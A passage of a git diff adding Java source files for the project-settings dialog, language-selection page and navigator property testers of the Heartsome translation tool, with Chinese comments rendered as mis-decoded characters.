(value.trim().equals("")) { + setErrorMessage(Messages.getString("wizard.NewProjectWizardProjInfoPage.msg3")); + isValid = false; + setValid(false); + break; + } else if (value.trim().length() > 50) { + setErrorMessage(Messages.getString("wizard.NewProjectWizardProjInfoPage.msg4")); + setValid(false); + isValid = false; + break; + } + } + } + if (isValid) { + setErrorMessage(null); + setValid(true); + } + } + } + }); + lstText.add(txt); + // cmpScrolled.setMinSize(cmpField.computeSize(SWT.DEFAULT, SWT.DEFAULT)); + } + } + + Map mapAttr = projCfgBean.getMapAttr(); + if (mapAttr != null && mapAttr.size() > 0) { + lstCombo = new ArrayList(); + Iterator> it = mapAttr.entrySet().iterator(); + while (it.hasNext()) { + Entry entry = (Entry) it.next(); + String attrName = TextUtil.xmlToString(entry.getKey()); + String attrSelVal = TextUtil.xmlToString((String) entry.getValue()[0]); + @SuppressWarnings("unchecked") + List lstAttrVal = (List) entry.getValue()[1]; + String[] arrAttrVal = new String[lstAttrVal.size()]; + int selIndex = 0; + for (int i = 0; i < lstAttrVal.size(); i++) { + arrAttrVal[i] = TextUtil.xmlToString(lstAttrVal.get(i)); + if (attrSelVal.equals(arrAttrVal[i])) { + selIndex = i; + } + } + Label lbl = new Label(cmpField, SWT.WRAP); + String strLbl = attrName.replaceAll("&", "&&") + + Messages.getString("wizards.NewProjectWizardProjInfoPage.colon"); + lbl.setText(strLbl); + GridDataFactory.swtDefaults().align(SWT.RIGHT, SWT.CENTER).applyTo(lbl); + GridData gd = (GridData) lbl.getLayoutData(); + Point p = lbl.computeSize(SWT.DEFAULT, SWT.DEFAULT); + if (p.x > width) { + gd.widthHint = width; + } + Combo cmb = new Combo(cmpField, SWT.READ_ONLY); + cmb.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + cmb.setItems(arrAttrVal); + cmb.select(selIndex); + cmb.setData(attrName); + lstCombo.add(cmb); + // cmpScrolled.setMinSize(cmpField.computeSize(SWT.DEFAULT, SWT.DEFAULT)); + } + } + // cmpScrolled.setMinSize(cmpField.computeSize(SWT.DEFAULT, SWT.DEFAULT)); + + return cmpField; + } + + /** + * åˆå§‹åŒ–ç•Œé¢æ•°æ® ; + */ + private void initData() { + projectNameLabel.setText(this.projCfgBean.getProjectName()); + sourceLangLabel.setText(this.projCfgBean.getSourceLang().getName()); + List targetLangs = this.projCfgBean.getTargetLang(); + StringBuffer targetlang = new StringBuffer(); + for (int i = 0; i < targetLangs.size(); i++) { + targetlang.append(targetLangs.get(i).getName()).append(","); + } + String tLangs = targetlang.toString(); + targetlangLabel.setText(tLangs.substring(0, tLangs.length() - 1)); + } + + @Override + public boolean performOk() { + if (lstText != null) { + LinkedHashMap mapField = new LinkedHashMap(); + for (Text txt : lstText) { + if (!txt.isDisposed()) { + mapField.put(TextUtil.stringToXML((String) txt.getData()), TextUtil.stringToXML(txt.getText()).trim()); + } + } + projCfgBean.setMapField(mapField); + } + + if (lstCombo != null) { + LinkedHashMap mapAttr = new LinkedHashMap(); + for (Combo cmb : lstCombo) { + if (!cmb.isDisposed()) { + ArrayList lstAttrValue = new ArrayList(); + for (String attrVal : cmb.getItems()) { + lstAttrValue.add(TextUtil.stringToXML(attrVal)); + } + mapAttr.put(TextUtil.stringToXML((String) cmb.getData()), + new Object[] { TextUtil.stringToXML(cmb.getText()), lstAttrValue }); + } + } + projCfgBean.setMapAttr(mapAttr); + } + return super.performOk(); + } + +} diff --git a/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/projectsetting/ProjectSettingDialog.java b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/projectsetting/ProjectSettingDialog.java new file mode 100644 index 0000000..5bd4eae --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/projectsetting/ProjectSettingDialog.java @@ -0,0 +1,227 @@ +/** + * ProjectConfigSetingDialog.java + * + * Version information : + * + * Date:Nov 29, 2011 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.ts.ui.projectsetting; + +import java.text.MessageFormat; + +import net.heartsome.cat.common.util.CommonFunction; +import net.heartsome.cat.ts.ui.resource.Messages; + +import org.eclipse.jface.preference.IPreferenceNode; +import org.eclipse.jface.preference.PreferenceDialog; +import org.eclipse.jface.preference.PreferenceManager; +import org.eclipse.jface.resource.JFaceResources; +import org.eclipse.jface.viewers.ISelection; +import org.eclipse.jface.viewers.ISelectionChangedListener; +import org.eclipse.jface.viewers.SelectionChangedEvent; +import org.eclipse.jface.viewers.StructuredSelection; +import org.eclipse.jface.viewers.TreeViewer; +import org.eclipse.jface.viewers.ViewerComparator; +import org.eclipse.swt.SWT; +import org.eclipse.swt.custom.BusyIndicator; +import org.eclipse.swt.events.DisposeEvent; +import org.eclipse.swt.events.DisposeListener; +import org.eclipse.swt.events.HelpEvent; +import org.eclipse.swt.events.HelpListener; +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.graphics.Cursor; +import org.eclipse.swt.graphics.Image; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Event; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.swt.widgets.ToolBar; +import org.eclipse.swt.widgets.ToolItem; +import org.eclipse.swt.widgets.Tree; +import org.eclipse.ui.PlatformUI; + +/** + * @author Jason + * @version + * @since JDK1.6 + */ +public class ProjectSettingDialog extends PreferenceDialog { + private IPreferenceNode lastSuccessfulNode; + private PreferenceManager preferenceManager; + public ProjectSettingDialog(Shell parentShell, PreferenceManager manager) { + super(parentShell, manager); + this.preferenceManager = manager; + setMinimumPageSize(600, 400); + setHelpAvailable(true); + } + + protected void configureShell(Shell newShell) { + super.configureShell(newShell); + newShell.setText(Messages.getString("projectsetting.ProjectSettingDialog.title")); + } + + /** + * 添加帮助按钮 + * robert 2012-09-06 + */ + @Override + protected Control createHelpControl(Composite parent) { + // ROBERTHELP 项目设置 + String language = CommonFunction.getSystemLanguage(); + final String helpUrl = MessageFormat.format( + "/net.heartsome.cat.ts.ui.help/html/{0}/ch05s03.html#project-setting", language); + Image helpImage = JFaceResources.getImage(DLG_IMG_HELP); + ToolBar toolBar = new ToolBar(parent, SWT.FLAT | SWT.NO_FOCUS); + ((GridLayout) parent.getLayout()).numColumns++; + toolBar.setLayoutData(new GridData(GridData.HORIZONTAL_ALIGN_CENTER)); + final Cursor cursor = new Cursor(parent.getDisplay(), SWT.CURSOR_HAND); + toolBar.setCursor(cursor); + toolBar.addDisposeListener(new DisposeListener() { + public void widgetDisposed(DisposeEvent e) { + cursor.dispose(); + } + }); + ToolItem helpItem = new ToolItem(toolBar, SWT.NONE); + helpItem.setImage(helpImage); + helpItem.setToolTipText(JFaceResources.getString("helpToolTip")); //$NON-NLS-1$ + helpItem.addSelectionListener(new SelectionAdapter() { + public void widgetSelected(SelectionEvent e) { + PlatformUI.getWorkbench().getHelpSystem().displayHelpResource(helpUrl); + } + }); + return toolBar; + } + + protected void addListeners(final TreeViewer viewer) { + viewer.addPostSelectionChangedListener(new ISelectionChangedListener() { + private void handleError() { + try { + // remove the listener temporarily so that the events caused + // by the error handling dont further cause error handling + // to occur. + viewer.removePostSelectionChangedListener(this); + // showPageFlippingAbortDialog(); + + // select Current PageAgain; + if (lastSuccessfulNode == null) { + return; + } + getTreeViewer().setSelection(new StructuredSelection(lastSuccessfulNode)); + getCurrentPage().setVisible(true); + + // clear Selected Node + setSelectedNodePreference(null); + } finally { + viewer.addPostSelectionChangedListener(this); + } + } + + public void selectionChanged(SelectionChangedEvent event) { + final Object selection = getSingleSelection(event.getSelection()); + if (selection instanceof IPreferenceNode) { + BusyIndicator.showWhile(getShell().getDisplay(), new Runnable() { + public void run() { + if (!isCurrentPageValid()) { + handleError(); + } else if (!showPage((IPreferenceNode) selection)) { + // Page flipping wasn't successful + handleError(); + } else { + // Everything went well + lastSuccessfulNode = (IPreferenceNode) selection; + } + } + }); + } + } + }); + ((Tree) viewer.getControl()).addSelectionListener(new SelectionAdapter() { + public void widgetDefaultSelected(final SelectionEvent event) { + ISelection selection = viewer.getSelection(); + if (selection.isEmpty()) { + return; + } + IPreferenceNode singleSelection = getSingleSelection(selection); + boolean expanded = viewer.getExpandedState(singleSelection); + viewer.setExpandedState(singleSelection, !expanded); + } + }); + // Register help listener on the tree to use context sensitive help + viewer.getControl().addHelpListener(new HelpListener() { + public void helpRequested(HelpEvent event) { + if (getCurrentPage() == null) { // no current page? open dialog's help + openDialogHelp(); + return; + } + // A) A typical path: the current page has registered its own help link + // via WorkbenchHelpSystem#setHelp(). When just call it and let + // it handle the help request. + Control pageControl = getCurrentPage().getControl(); + if (pageControl != null && pageControl.isListening(SWT.Help)) { + getCurrentPage().performHelp(); + return; + } + + // B) Less typical path: no standard listener has been created for the page. + // In this case we may or may not have an override of page's #performHelp(). + // 1) Try to get default help opened for the dialog; + openDialogHelp(); + // 2) Next call currentPage's #performHelp(). If it was overridden, it might switch help + // to something else. + getCurrentPage().performHelp(); + } + + private void openDialogHelp() { + if (getPageContainer() == null) + return; + for (Control currentControl = getPageContainer(); currentControl != null; currentControl = currentControl + .getParent()) { + if (currentControl.isListening(SWT.Help)) { + currentControl.notifyListeners(SWT.Help, new Event()); + break; + } + } + } + }); + } + + /** + * Selects the saved item in the tree of preference pages. If it cannot do this it saves the first one. + */ + protected void selectSavedItem() { + IPreferenceNode node = findNodeMatching(getSelectedNodePreference()); + if (node == null) { + IPreferenceNode[] nodes = preferenceManager.getRootSubNodes(); + ViewerComparator comparator = getTreeViewer().getComparator(); + if (comparator != null) { + comparator.sort(null, nodes); + } + for (int i = 0; i < nodes.length; i++) { + IPreferenceNode selectedNode = nodes[i]; + if (selectedNode != null) { + node = selectedNode; + break; + } + } + } + if (node != null) { + getTreeViewer().setSelection(new StructuredSelection(node), true); + // Keep focus in tree. See bugs 2692, 2621, and 6775. + getTreeViewer().getControl().setFocus(); + boolean expanded = getTreeViewer().getExpandedState(node); + getTreeViewer().setExpandedState(node, !expanded); + } + } + + public void update() { + super.update(); + } +} diff --git a/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/projectsetting/ProjectSettingLanguagePage.java b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/projectsetting/ProjectSettingLanguagePage.java new file mode 100644 index 0000000..d2e115b --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/projectsetting/ProjectSettingLanguagePage.java @@ -0,0 +1,336 @@ +/** + * ProjectConfigLanguagePage.java + * + * Version information : + * + * Date:Nov 28, 2011 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括 + */ +package net.heartsome.cat.ts.ui.projectsetting; + +import java.util.ArrayList; +import java.util.Collections; +import java.util.Comparator; +import java.util.Iterator; +import java.util.List; + +import net.heartsome.cat.common.bean.ProjectInfoBean; +import net.heartsome.cat.common.locale.Language; +import net.heartsome.cat.common.locale.LocaleService; +import net.heartsome.cat.common.ui.languagesetting.LanguageLabelProvider; +import net.heartsome.cat.ts.ui.resource.Messages; + +import org.eclipse.core.databinding.DataBindingContext; +import org.eclipse.core.databinding.beans.BeanProperties; +import org.eclipse.core.databinding.observable.value.IObservableValue; +import org.eclipse.jface.databinding.viewers.ViewersObservables; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.jface.preference.PreferencePage; +import org.eclipse.jface.viewers.ArrayContentProvider; +import org.eclipse.jface.viewers.IElementComparer; +import org.eclipse.jface.viewers.IStructuredSelection; +import org.eclipse.jface.viewers.TableViewer; +import org.eclipse.nebula.jface.tablecomboviewer.TableComboViewer; +import org.eclipse.nebula.widgets.tablecombo.TableCombo; +import org.eclipse.swt.SWT; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Event; +import org.eclipse.swt.widgets.Group; +import org.eclipse.swt.widgets.Listener; + +/** + * @author Jason + * @version + * @since JDK1.6 + */ +public class ProjectSettingLanguagePage extends PreferencePage { + + private List languages; + private TableComboViewer srcLangComboViewer; + private TargetLangSelect targetLangControl; + + private ProjectInfoBean projCfgBean; + + /** + * Create the preference page. + */ + public ProjectSettingLanguagePage(ProjectInfoBean bean) { + setTitle(Messages.getString("projectsetting.ProjectSettingLanguagePage.title")); + noDefaultAndApplyButton(); + + this.projCfgBean = bean; + + // 获å–语言列表 + languages = new ArrayList(LocaleService.getDefaultLanguage().values()); + Collections.sort(languages, new Comparator() { + public int compare(Language o1, Language o2) { + return o1.toString().compareTo(o2.toString()); + } + }); + targetLangControl = new TargetLangSelect(languages, bean.getTargetLang()); + } + + @Override + public boolean performOk() { + return validator() && isValid(); + } + + @Override + public boolean okToLeave() { + return validator() && isValid(); + } + + /** + * 输入验è¯å™¨ + * @return ; + */ + public boolean validator() { + if (projCfgBean.getTargetLang().size() == 0) { + MessageDialog.openError(getShell(), + Messages.getString("projectsetting.ProjectSettingLanguagePage.msgTitle"), + Messages.getString("projectsetting.ProjectSettingLanguagePage.msg1")); + return false; + } + String srcCode = projCfgBean.getSourceLang().getCode(); + List target = projCfgBean.getTargetLang(); + for (Language tLang : target) { + String tCode = tLang.getCode(); + if (tCode.equals(srcCode)) { + MessageDialog.openError(getShell(), + Messages.getString("projectsetting.ProjectSettingLanguagePage.msgTitle"), + Messages.getString("projectsetting.ProjectSettingLanguagePage.msg2")); + return false; + } + } + return true; + } + + /** + * Create contents of the preference page. + * @param parent + */ + @Override + public Control createContents(Composite parent) { + Composite container = new Composite(parent, SWT.NULL); + container.setLayout(new GridLayout(1, false)); + + // source language control + Group sourceLanguageGrp = new Group(container, SWT.NONE); + sourceLanguageGrp.setLayout(new GridLayout(1, false)); + sourceLanguageGrp.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + sourceLanguageGrp.setText(Messages.getString("projectsetting.ProjectSettingLanguagePage.sourceLanguageGrp")); + + srcLangComboViewer = new TableComboViewer(sourceLanguageGrp, SWT.READ_ONLY | SWT.BORDER); + TableCombo tableCombo = srcLangComboViewer.getTableCombo(); + // set options. + tableCombo.setShowTableLines(false); + tableCombo.setShowTableHeader(false); + tableCombo.setDisplayColumnIndex(-1); + tableCombo.setShowImageWithinSelection(true); + tableCombo.setShowColorWithinSelection(false); + tableCombo.setShowFontWithinSelection(false); + tableCombo.setVisibleItemCount(20); + + srcLangComboViewer.getTableCombo().setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + srcLangComboViewer.setLabelProvider(new LanguageLabelProvider()); + srcLangComboViewer.setContentProvider(new ArrayContentProvider()); + srcLangComboViewer.setInput(languages); + srcLangComboViewer.setComparer(elementComparer); + initDataBindings(); + // end source language + + // target language control + Group targetLanguageGrp = new Group(container, SWT.NONE); + targetLanguageGrp.setLayout(new GridLayout(3, false)); + targetLanguageGrp.setLayoutData(new GridData(SWT.FILL, SWT.FILL, false, true, 1, 1)); + targetLanguageGrp.setText(Messages.getString("projectsetting.ProjectSettingLanguagePage.targetLanguageGrp")); + targetLangControl.createControl(targetLanguageGrp); + parent.computeSize(SWT.DEFAULT, SWT.DEFAULT); + return container; + } + + private void initDataBindings() { + DataBindingContext ctx = new DataBindingContext(); + + IObservableValue widgetValue = ViewersObservables.observeSingleSelection(srcLangComboViewer); + IObservableValue modelValue = BeanProperties.value(ProjectInfoBean.class, "sourceLang").observe(projCfgBean); + ctx.bindValue(widgetValue, modelValue, null, null); + } + + /** + * 目标语言选择器 + * @author Jason + * @version + * @since JDK1.6 + */ + protected final class TargetLangSelect implements Listener { + private TableViewer canSelectTableViewer; + private TableViewer hasSelTableViewer; + + private Object canSelectInput; + private List hasSelectedList; + + private Button addBtn; + private Button deleteBtn; + private Button deleteAllBtn; + + /** + * 构造器,创建一个空白的无内容的组件 + */ + public TargetLangSelect() { + this(null, null); + } + + /** + * 构造器,创建一个带有å¯é€‰å†…容和已被选内容的组件 + * @param canSel + * å¯ä»¥é€‰æ‹©çš„内容 + * @param haveSel + * 已被选择的内容 + */ + public TargetLangSelect(Object canSel, List haveSel) { + this.hasSelectedList = haveSel; + this.canSelectInput = canSel; + } + + /** + * 创建组件 + * @param comp + * ; + */ + public void createControl(Composite comp) { + Composite canSelectComp = new Composite(comp, SWT.NONE); + canSelectComp.setLayout(new GridLayout(1, false)); + canSelectComp.setLayoutData(new GridData(SWT.FILL, SWT.FILL, true, true, 1, 1)); + + canSelectTableViewer = new TableViewer(canSelectComp, SWT.BORDER | SWT.V_SCROLL | SWT.MULTI + | SWT.FULL_SELECTION); + GridData gridData = new GridData(SWT.FILL, SWT.FILL, true, true, 1, 1); + gridData.widthHint = 150; + gridData.heightHint = 180; + canSelectTableViewer.getTable().setLayoutData(gridData); + + canSelectTableViewer.setLabelProvider(new LanguageLabelProvider()); + canSelectTableViewer.setContentProvider(new ArrayContentProvider()); + canSelectTableViewer.setInput(canSelectInput); + canSelectTableViewer.getTable().addListener(SWT.MouseDoubleClick, this); + + Composite selBtnComp = new Composite(comp, SWT.NONE); + selBtnComp.setLayout(new GridLayout(1, false)); + selBtnComp.setLayoutData(new GridData(SWT.LEFT, SWT.FILL, false, false, 1, 1)); + + addBtn = new Button(selBtnComp, SWT.NONE); + addBtn.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, false, false, 1, 1)); + addBtn.setText(Messages.getString("projectsetting.ProjectSettingLanguagePage.addBtn")); + addBtn.addListener(SWT.Selection, this); + + deleteBtn = new Button(selBtnComp, SWT.NONE); + deleteBtn.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, false, false, 1, 1)); + deleteBtn.setText(Messages.getString("projectsetting.ProjectSettingLanguagePage.deleteBtn")); + deleteBtn.addListener(SWT.Selection, this); + + deleteAllBtn = new Button(selBtnComp, SWT.NONE); + deleteAllBtn.setText(Messages.getString("projectsetting.ProjectSettingLanguagePage.deleteAllBtn")); + deleteAllBtn.addListener(SWT.Selection, this); + + Composite hasSelComp = new Composite(comp, SWT.NONE); + hasSelComp.setLayout(new GridLayout(1, false)); + hasSelComp.setLayoutData(new GridData(SWT.FILL, SWT.FILL, true, false, 1, 1)); + + hasSelTableViewer = new TableViewer(hasSelComp, SWT.BORDER | SWT.V_SCROLL | SWT.MULTI | SWT.FULL_SELECTION); + hasSelTableViewer.getTable().setLayoutData(gridData); + hasSelTableViewer.setLabelProvider(new LanguageLabelProvider()); + hasSelTableViewer.setContentProvider(new ArrayContentProvider()); + hasSelTableViewer.setInput(hasSelectedList); + hasSelTableViewer.getTable().addListener(SWT.MouseDoubleClick, this); + } + + /** + * 当状æ€æ”¹å˜æ—¶ï¼Œè§¦å‘验è¯äº‹ä»¶ (non-Javadoc) + * @see org.eclipse.swt.widgets.Listener#handleEvent(org.eclipse.swt.widgets.Event) + */ + public void handleEvent(Event event) { + if (event.widget == canSelectTableViewer.getTable()) { + execSelected((IStructuredSelection) canSelectTableViewer.getSelection()); + } + if (event.widget == addBtn) { + execSelected((IStructuredSelection) canSelectTableViewer.getSelection()); + } + + // Delete Language + if (event.widget == hasSelTableViewer.getTable()) { + IStructuredSelection selection = (IStructuredSelection) hasSelTableViewer.getSelection(); + removeSelected(selection); + } + if (event.widget == deleteBtn) { + IStructuredSelection selection = (IStructuredSelection) hasSelTableViewer.getSelection(); + removeSelected(selection); + } + if (event.widget == deleteAllBtn) { + hasSelTableViewer.getTable().removeAll(); + hasSelectedList.clear(); + } + } + + /** + * 执行选择 + * @param selection + * ; + */ + private void execSelected(IStructuredSelection selection) { + Iterator it = selection.iterator(); + while (it.hasNext()) { + boolean isContains = false; + Language selLang = (Language) it.next(); + String selLangCode = selLang.getCode(); + for (int i = 0; i < hasSelectedList.size(); i++) { + if (selLangCode.equals(hasSelectedList.get(i).getCode())) { + isContains = true; + break; + } + } + if (!isContains) { + hasSelectedList.add(selLang); + hasSelTableViewer.add(selLang); + } + } + hasSelTableViewer.setSelection(selection); + } + + private void removeSelected(IStructuredSelection selection) { + hasSelectedList.removeAll(selection.toList()); + hasSelTableViewer.remove(selection.toArray()); + } + + } + + /** + * 用于比较两个Language对象是å¦ç›¸ç­‰ + */ + private IElementComparer elementComparer = new IElementComparer() { + + public int hashCode(Object element) { + return 0; + } + + public boolean equals(Object a, Object b) { + if (a instanceof Language && b instanceof Language) { + Language al = (Language) a; + Language bl = (Language) b; + if (al.getCode().equals(bl.getCode())) { + return true; + } + return false; + } + return false; + } + }; +} diff --git a/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/propertyTester/MultiSelectionPropertyTester.java b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/propertyTester/MultiSelectionPropertyTester.java new file mode 100644 index 0000000..13d1ca7 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/propertyTester/MultiSelectionPropertyTester.java @@ -0,0 +1,114 @@ +package net.heartsome.cat.ts.ui.propertyTester; + +import java.util.ArrayList; +import java.util.List; + +import net.heartsome.cat.common.core.Constant; +import net.heartsome.cat.common.resources.ResourceUtils; +import net.heartsome.cat.common.util.CommonFunction; +import net.heartsome.cat.ts.ui.resource.Messages; + +import org.eclipse.core.expressions.PropertyTester; +import org.eclipse.core.resources.IFile; +import org.eclipse.core.resources.IFolder; +import org.eclipse.core.resources.IProject; +import org.eclipse.core.runtime.CoreException; +import org.eclipse.jface.viewers.IStructuredSelection; +import org.eclipse.jface.viewers.StructuredSelection; +import org.eclipse.ui.IViewPart; +import org.eclipse.ui.IWorkbenchPage; +import org.eclipse.ui.IWorkbenchWindow; +import org.eclipse.ui.PlatformUI; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * 针对åˆå¹¶æ‰“开的选择 + * @author robert 2012-06-15 + */ +public class MultiSelectionPropertyTester extends PropertyTester{ + public static final String PROPERTY_NAMESPACE = "navigatorPopup"; + public static final String PROPERTY_ENABLED = "multiSelection"; + public final static Logger logger = LoggerFactory.getLogger(MultiSelectionPropertyTester.class.getName()); + + public boolean test(Object receiver, String property, Object[] args, + Object expectedValue) { + IProject curProject = null; + IWorkbenchWindow window = PlatformUI.getWorkbench().getActiveWorkbenchWindow(); + if (window != null) { + IWorkbenchPage page = window.getActivePage(); + if (page != null) { + if (page.getActivePartReference() == null) { + return false; + } + String partId = page.getActivePartReference().getId(); + if (partId.equals("net.heartsome.cat.common.ui.navigator.view")) { + // å¯¼èˆªè§†å›¾å¤„äºŽæ¿€æ´»çŠ¶æ€ + IViewPart viewPart = page.findView("net.heartsome.cat.common.ui.navigator.view"); + if(viewPart == null){ + return false; + } + StructuredSelection selection = (StructuredSelection) viewPart.getSite().getSelectionProvider() + .getSelection(); + ArrayList selectedIFileList = new ArrayList(); + if (selection != null && !selection.isEmpty() && selection instanceof IStructuredSelection) { + List lstObj = ((IStructuredSelection) selection).toList(); + for (Object obj : lstObj) { + if (obj instanceof IFile) { + IFile file = (IFile) obj; + // Linux 下的文本文件无扩展å,因此è¦å…ˆåˆ¤æ–­æ‰©å±•å是å¦ä¸ºç©º + if (file.getFileExtension() == null || !CommonFunction.validXlfExtension(file.getFileExtension())) { + return false; + } else { + String xlfFolderPath = file.getProject().getFullPath().append(Constant.FOLDER_XLIFF).toOSString(); + if (!file.getFullPath().toOSString().startsWith(xlfFolderPath)) { + return false; + } + if (curProject == null) { + curProject = file.getProject(); + }else { + if (curProject != file.getProject()) { + return false; + } + } + selectedIFileList.add(file); + } + } else if (obj instanceof IFolder) { + IFolder folder = (IFolder) obj; + String xlfFolderPath = folder.getProject().getFullPath().append(Constant.FOLDER_XLIFF).toOSString(); + if (!folder.getFullPath().toOSString().startsWith(xlfFolderPath)) { + return false; + } + try { + ResourceUtils.getXliffs(folder, selectedIFileList); + } catch (CoreException e) { + logger.error(Messages.getString("propertyTester.MultiSelectionPropertyTester.logger1"), folder.getFullPath().toOSString(), e); + } + if (curProject == null) { + curProject = folder.getProject(); + }else { + if (curProject != folder.getProject()) { + return false; + } + } + } + } + CommonFunction.removeRepeateSelect(selectedIFileList); + if (selectedIFileList.size() < 2) { + return false; + } + } else { + return false; + } + } + } else { + return false; + } + } else { + return false; + } + return true; + } + + +} diff --git a/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/propertyTester/RTFEnabledPropertyTester.java b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/propertyTester/RTFEnabledPropertyTester.java new file mode 100644 index 0000000..b802963 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/propertyTester/RTFEnabledPropertyTester.java @@ -0,0 +1,23 @@ +package net.heartsome.cat.ts.ui.propertyTester; + +import org.eclipse.core.expressions.PropertyTester; +import org.eclipse.core.resources.IProject; +import org.eclipse.core.resources.ResourcesPlugin; + +/** + * 验è¯å¯¼å…¥/导出 RTF 功能是å¦å¯ç”¨çš„ç±» + * @author peason + * @version + * @since JDK1.6 + */ +public class RTFEnabledPropertyTester extends PropertyTester { + + public static final String PROPERTY_NAMESPACE = "rtf"; + public static final String PROPERTY_ENABLED = "enabled"; + + public boolean test(Object receiver, String property, Object[] args, Object expectedValue) { + IProject[] projects = ResourcesPlugin.getWorkspace().getRoot().getProjects(); + return projects != null && projects.length > 0; + } + +} diff --git a/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/propertyTester/SelectProjectOrSourcePropertyTester.java b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/propertyTester/SelectProjectOrSourcePropertyTester.java new file mode 100644 index 0000000..3589820 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/propertyTester/SelectProjectOrSourcePropertyTester.java @@ -0,0 +1,79 @@ +package net.heartsome.cat.ts.ui.propertyTester; + +import java.util.List; + +import net.heartsome.cat.common.core.Constant; + +import org.eclipse.core.expressions.PropertyTester; +import org.eclipse.core.resources.IFile; +import org.eclipse.core.resources.IFolder; +import org.eclipse.jface.viewers.IStructuredSelection; +import org.eclipse.jface.viewers.StructuredSelection; +import org.eclipse.ui.IViewPart; +import org.eclipse.ui.IWorkbenchPage; +import org.eclipse.ui.IWorkbenchWindow; +import org.eclipse.ui.PlatformUI; + +/** + * 验è¯æ‰€é€‰æ˜¯å¦æ˜¯é¡¹ç›®ï¼ŒSource 文件夹文件。 + * @author peason + * @version + * @since JDK1.6 + */ +public class SelectProjectOrSourcePropertyTester extends PropertyTester { + + public static final String PROPERTY_NAMESPACE = "navigatorPopup"; + public static final String PROPERTY_ENABLED = "projectOrSource"; + + public boolean test(Object receiver, String property, Object[] args, Object expectedValue) { + IWorkbenchWindow window = PlatformUI.getWorkbench().getActiveWorkbenchWindow(); + if (window != null) { + IWorkbenchPage page = window.getActivePage(); + if (page != null) { + if (page.getActivePartReference() == null) { + return false; + } + String partId = page.getActivePartReference().getId(); + if (partId.equals("net.heartsome.cat.common.ui.navigator.view")) { + // å¯¼èˆªè§†å›¾å¤„äºŽæ¿€æ´»çŠ¶æ€ + IViewPart viewPart = page.findView("net.heartsome.cat.common.ui.navigator.view"); + if(viewPart == null){ + return false; + } + StructuredSelection selection = (StructuredSelection) viewPart.getSite().getSelectionProvider() + .getSelection(); + if (selection != null && !selection.isEmpty() && selection instanceof IStructuredSelection) { + List lstObj = ((IStructuredSelection) selection).toList(); + for (Object obj : lstObj) { + if (obj instanceof IFile) { + IFile file = (IFile) obj; + String xlfFolderPath = file.getProject().getFullPath().append(Constant.FOLDER_SRC) + .toOSString(); + if (!file.getFullPath().toOSString().startsWith(xlfFolderPath)) { + return false; + } + } else if (obj instanceof IFolder) { + IFolder folder = (IFolder) obj; + String xlfFolderPath = folder.getProject().getFullPath().append(Constant.FOLDER_SRC) + .toOSString(); + if (!folder.getFullPath().toOSString().startsWith(xlfFolderPath)) { + return false; + } + } + } + } else { + return false; + } + } else { + return false; + } + } else { + return false; + } + } else { + return false; + } + return true; + } + +} diff --git a/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/propertyTester/SelectProjectOrXLIFFPropertyTester.java 